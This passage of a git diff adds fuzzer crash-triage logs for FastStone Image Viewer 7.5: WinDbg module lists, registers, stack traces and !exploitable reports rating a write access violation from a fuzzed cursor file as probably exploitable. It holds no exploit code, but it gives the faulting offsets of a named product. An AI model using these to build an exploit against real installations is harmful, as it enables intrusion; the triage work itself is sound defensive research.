00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(884.1494): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=07ccafd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.44157e-025 408.528 -4.04627e+008 -5.33895e-011 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0035c000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0035c000 0bbfa681 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c0 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0035c000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..2d3b68e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/48637/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..7a46609 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..50db6ec --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x11D0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x11D0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(11d0.1fb4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ed7b19 edx=00000000 esi=00000000 edi=0fce4fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6.26061e+009 -9.44837e-016 -1.09029e+023 1.61814e-011 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003bb000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003bb000 49cdf9c1 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6290 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003bb000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..50db6ec --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/49032/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x11D0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x11D0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 